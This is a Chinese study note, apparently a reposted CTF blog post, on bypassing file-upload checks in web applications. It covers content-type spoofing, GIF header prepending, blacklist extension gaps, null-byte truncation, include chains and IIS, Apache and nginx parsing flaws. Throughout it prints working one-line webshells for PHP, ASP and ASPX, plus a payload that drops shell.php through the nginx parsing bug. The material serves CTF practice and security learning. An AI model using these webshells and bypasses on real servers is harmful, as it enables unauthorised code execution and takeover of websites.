文件上传绕过学习

做 ctf 的 web 方向常常遇到文件上传的题目,而且每题多少会有些不同。
于是搜集一番总结起来学习一下。

文件上传的校验

  • 客户端 JavaScript 校验
    一般在 F12 源代码中可以看到,校验的是文件后缀名。

  • 服务端校验
    1)文件头 content-type 字段校验(image/jpeg)
    2)文件内容头的校验。
    3)后缀名黑名单校验。
    4)后缀名白名单校验。
    5)自定义正则校验。

  • WAF设备校验

——

文件上传校验的绕过

客户端绕过

前端会检测后缀,可以先上传一个符合后缀的文件,再用 burp 抓包修改文件的内容以及后缀即可。

——

服务端绕过

  • 1)文件类型绕过
    用 burp 抓包,修改 content-type 字段为 image/jpeg 。

  • 2)文件头绕过
    在正常的一句话木马前面加上一些文件信息。 如 gif 的文件幻数:

GIF89a
<?php @eval($_GET['a']) ?>
  • 3)文件后缀名绕过
    服务端会对文件后缀进行黑名单校验。
    则找黑名单扩展名的漏网之鱼:

jsp:jspx、jspf; asp:asa、cer、aspx;
php:php,php3,php4,php5,php7,phtml,pht,phps

可能存在大小写绕过,如:aSp、pHp 。

  • 4)配合操作系统文件命令规则
    上传不符合 Windows 文件命名规则的文件名:

test.asp
test.asp(空格)
text.php:1.jpg
text.php:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA……

Linux 下后缀名大小写

  • 5)配合其他规则
    0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候。test.php(0x00).jpg、test.php%00.jpg。
    例如: 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg

  • 6)配合文件包含漏洞
    前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。 先上传一个内容为一句话木马的 .txt 文件,后缀正常未被检测并且上传成功;
    再上传一个 .php 文件,内容为 <?php Include("刚刚上传的 .txt 文件路径"); ?>
    此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验。

中引用文件内容的语法:

#PHP <?php Include("上传的txt文件路径"); ?>
#ASP
#JSP <jsp:include page=“上传的txt文件路径”/> or <%include file=“上传的txt文件路径”%>

——
——

服务器解析漏洞

IIS5.x-6.x解析漏洞

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 : /test.asa /test.cer /test.cdx

——
——

apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

——
——

nginx解析漏洞

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHPfputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

转自
https://wenku.baidu.com/view/bf350a1fbc64783e0912a21614791711cc79799c.html

关于上传文件里的内容,即一句话木马
最简单的一句话木马:

<?php @eval($_POST['aa']) ?>

php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。

@符号的意思是不报错,即使执行错误,也不报错,如果没有@,就会报错。

eval 就是执行命令的函数,把字符串作为 PHP 代码执行。

eval() 语言结果是非常危险的,因为它允许执行任意 PHP 代码。

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

一句话木马的内容中 <?php 被过滤了,还可以换为如下内容:

<script language="php">
@eval($_POST['hacker']);
</script>

文件上传的各种绕过姿势相关推荐

  1. java 文件上传漏洞_文件上传漏洞(绕过姿势)

    文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此 ...

  2. html文件上传漏洞,文件上传漏洞(绕过姿势)

    文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此 ...

  3. 文件上传漏洞全面渗透姿势总结

    文件上传漏洞全面渗透姿势总结 东方健康网 https://www.9559.org/cn/ 0x00 文件上传场景 (本文档只做技术交流,切勿进行违法犯罪操作,请做一个好人,不给别人添麻烦) 文件上传 ...

  4. WEB安全之文件上传--白名单绕过%00截断

    文件上传漏洞介绍: 文件上传漏洞是web安全中经常用到的一种漏洞形式.是对数据与代码分离原则的一种攻击,它可以危害到我们服务器的安全,上传漏洞是指攻击者上传一个可执行webshell.一句话木马.恶意 ...

  5. 文件上传之.htaccess绕过黑名单——upload-labs靶场第四关

    今天继续给大家介绍渗透测试相关知识,本文主要内容是介绍.htaccess绕过黑名单的文件上传方法,并借助upload-labs靶场的第四关进行了实战. 免责声明: 本文所介绍的内容仅做学习交流使用,严 ...

  6. 渗透测试-文件上传之过滤绕过(二)

    文件上传之过滤绕过(二) 文件上传实验室第3,4关 文章目录 文件上传之过滤绕过(二) 前言 一.下载upload实验室,进行练习 二.进行后缀名绕过,拿shell 1.更改后缀名.php3绕过 2. ...

  7. .hpp文件_文件上传漏洞另类绕过技巧及挖掘案例全汇总

    文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式.如何针对性绕过检测.哪种上传和解析的场景会产生危害等还是比较模糊.本文作一些阐述,然后补充一些除了上传webshel ...

  8. 上传绕过php文件改为图片,文件上传漏洞另类绕过技巧及挖掘案例全汇总

    文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式.如何针对性绕过检测.哪种上传和解析的场景会产生危害等还是比较模糊.本文作一些阐述,然后补充一些除了上传webshel ...

  9. 文件上传之黑名单绕过

    黑名单绕过方法: 1.大小写绕过 windows对大小写不敏感,所以上传大小写混写的php进行绕过 (因为后端一般验证后缀字符串是否和'php'相等,(前提是没有将你传入的字符串进行小写转换后再对比) ...

最新文章

  1. OP_REQUIRES failed at conv_ops.cc:386 : Resource exhausted: OOM when allocating tensor with shape..
  2. C/C++获得当前系统时间
  3. C++/C的文件结构
  4. MySQL数据库从windows迁移到linux
  5. Java性能教程– Java 8流有多快?
  6. CVE-2020-1472 域内提权利用(域提权)
  7. Java基础学习总结(116)——Map使用相关问题总结
  8. 51nod 省选联测 R2
  9. 生产环境下 RocketMQ 为什么不能开启自动创建主题?
  10. 如何用VB编程实现关闭WINDOWS窗口?
  11. CodeMirror入门
  12. tr php,?php } ? 啥意思?
  13. java api 第一个类是_java_8_第一个API
  14. mysql定位数据库_MySQL数据库Query性能定位
  15. 《高等数学》练习题库含答案(大学期末复习资料)
  16. js如何实现扫描身份证识别_JavaScript实现身份证验证代码
  17. 4矩阵键盘c语言程序,4×4矩阵键盘数码管显示按键值程序
  18. Manjaro 安装xmind 8
  19. 开发者的如何优雅的使用OSX
  20. 开发小组共同使用协同文档

热门文章

  1. 零基础编程者初学python须知
  2. 设计模式06——行为型模式
  3. 一文读懂 Staking 即服务:机遇与风险,现状与未来
  4. 思科华为厂家为什么要推出自己的CCIE/HCIE认证
  5. sequel pro 很卡
  6. 西门子rwd60参数设置调试手册_西门子温度控制器RWD60 RWD62 RWD68安装调试说明
  7. UBUNTU 简明教程
  8. 高压功率放大器在径向驻波型超声波电机研究中的应用
  9. 【Html——自由小球球】(效果+代码)
  10. 再次解决,android 2.3运行凯立德问题